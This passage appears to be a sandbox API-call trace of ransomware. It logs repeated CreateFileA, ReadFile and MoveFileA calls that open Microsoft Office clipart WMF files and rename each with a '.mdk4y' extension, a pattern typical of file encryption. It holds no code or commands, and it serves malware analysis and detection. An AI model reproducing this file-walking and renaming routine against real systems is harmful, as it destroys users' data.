CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0105638.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0105638.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0148.225] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105638.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0148.226] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822345600000) returned 1 [0148.226] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x287c, lpOverlapped=0x0) returned 1 [0148.263] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822349300000) returned 1 [0148.263] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822349300000) returned 1 [0148.264] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105638.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105638.wmf.mdk4y")) returned 1 [0148.266] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0148.266] AreFileApisANSI () returned 1 [0148.266] GetACP () returned 0x4e4 [0148.266] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0105710.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0105710.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0148.266] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105710.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0148.268] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822349800000) returned 1 [0148.269] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x35f0, lpOverlapped=0x0) returned 1 [0148.273] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822350300000) returned 1 [0148.273] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822350300000) returned 1 [0148.274] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105710.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105710.wmf.mdk4y")) returned 1 [0148.275] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0148.275] AreFileApisANSI () returned 1 [0148.275] GetACP () returned 0x4e4 [0148.275] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0105846.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0105846.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0148.275] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105846.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0148.279] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822350900000) returned 1 [0148.279] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2030, lpOverlapped=0x0) returned 1 [0148.296] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822352600000) returned 1 [0148.296] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822352600000) returned 1 [0148.296] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105846.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105846.wmf.mdk4y")) returned 1 [0148.297] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0148.297] AreFileApisANSI () returned 1 [0148.297] GetACP () returned 0x4e4 [0148.297] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0105912.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0105912.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0148.297] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105912.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0148.298] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822352800000) returned 1 [0148.298] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2dc8, lpOverlapped=0x0) returned 1 [0148.442] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822367200000) returned 1 [0148.442] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822367200000) returned 1 [0148.443] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105912.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105912.wmf.mdk4y")) returned 1 [0148.443] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0148.444] AreFileApisANSI () returned 1 [0148.444] GetACP () returned 0x4e4 [0148.444] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0105974.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0105974.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0148.444] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105974.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0148.444] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822367400000) returned 1 [0148.444] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1204, lpOverlapped=0x0) returned 1 [0148.454] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822368400000) returned 1 [0148.454] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822368400000) returned 1 [0148.455] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105974.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105974.wmf.mdk4y")) returned 1 [0148.456] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0148.456] AreFileApisANSI () returned 1 [0148.456] GetACP () returned 0x4e4 [0148.456] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0106020.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0106020.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0148.456] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106020.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0148.456] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822368600000) returned 1 [0148.456] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x274c, lpOverlapped=0x0) returned 1 [0148.548] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822377800000) returned 1 [0148.548] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822377800000) returned 1 [0148.548] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106020.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106020.wmf.mdk4y")) returned 1 [0148.549] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0148.549] AreFileApisANSI () returned 1 [0148.549] GetACP () returned 0x4e4 [0148.549] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0106124.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0106124.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0148.549] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106124.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0148.550] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822378000000) returned 1 [0148.550] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x16b4, lpOverlapped=0x0) returned 1 [0148.575] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822380500000) returned 1 [0148.575] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822380500000) returned 1 [0148.576] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106124.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106124.wmf.mdk4y")) returned 1 [0148.576] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0148.576] AreFileApisANSI () returned 1 [0148.576] GetACP () returned 0x4e4 [0148.576] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0106146.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0106146.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0148.576] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106146.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0148.577] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822380700000) returned 1 [0148.577] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x5bfc, lpOverlapped=0x0) returned 1 [0148.605] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822383500000) returned 1 [0148.605] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822383500000) returned 1 [0148.605] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106146.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106146.wmf.mdk4y")) returned 1 [0148.606] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0148.606] AreFileApisANSI () returned 1 [0148.606] GetACP () returned 0x4e4 [0148.606] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0106208.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0106208.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0148.606] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106208.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0148.607] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822383700000) returned 1 [0148.607] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2e7c, lpOverlapped=0x0) returned 1 [0148.619] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822384900000) returned 1 [0148.619] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822384900000) returned 1 [0148.620] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106208.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106208.wmf.mdk4y")) returned 1 [0148.621] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0148.622] AreFileApisANSI () returned 1 [0148.622] GetACP () returned 0x4e4 [0148.622] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0106222.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0106222.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0148.622] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106222.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0148.622] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822385200000) returned 1 [0148.622] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x4c90, lpOverlapped=0x0) returned 1 [0148.627] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822385700000) returned 1 [0148.627] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822385700000) returned 1 [0148.628] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106222.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106222.wmf.mdk4y")) returned 1 [0148.629] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0148.629] AreFileApisANSI () returned 1 [0148.629] GetACP () returned 0x4e4 [0148.629] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0106572.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0106572.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0148.629] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106572.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0148.630] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822386000000) returned 1 [0148.630] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x864, lpOverlapped=0x0) returned 1 [0148.636] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822386600000) returned 1 [0148.636] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822386600000) returned 1 [0148.637] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106572.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106572.wmf.mdk4y")) returned 1 [0148.639] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0148.639] AreFileApisANSI () returned 1 [0148.639] GetACP () returned 0x4e4 [0148.639] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0106816.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0106816.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0148.639] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106816.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0148.640] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822387000000) returned 1 [0148.640] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xd04, lpOverlapped=0x0) returned 1 [0148.647] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822387700000) returned 1 [0148.647] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822387700000) returned 1 [0148.647] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106816.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106816.wmf.mdk4y")) returned 1 [0148.648] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0148.648] AreFileApisANSI () returned 1 [0148.648] GetACP () returned 0x4e4 [0148.648] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0106958.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0106958.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0148.648] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106958.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0148.648] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822387800000) returned 1 [0148.648] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x35d8, lpOverlapped=0x0) returned 1 [0148.657] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822388700000) returned 1 [0148.657] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822388700000) returned 1 [0148.657] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106958.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106958.wmf.mdk4y")) returned 1 [0148.658] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0148.658] AreFileApisANSI () returned 1 [0148.658] GetACP () returned 0x4e4 [0148.658] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0107024.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0107024.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0148.658] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107024.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0148.658] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822388800000) returned 1 [0148.658] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xbcc, lpOverlapped=0x0) returned 1 [0148.670] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822390000000) returned 1 [0148.670] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822390000000) returned 1 [0148.670] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107024.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107024.wmf.mdk4y")) returned 1 [0148.671] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0148.671] AreFileApisANSI () returned 1 [0148.671] GetACP () returned 0x4e4 [0148.671] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0107026.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0107026.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0148.671] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107026.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, 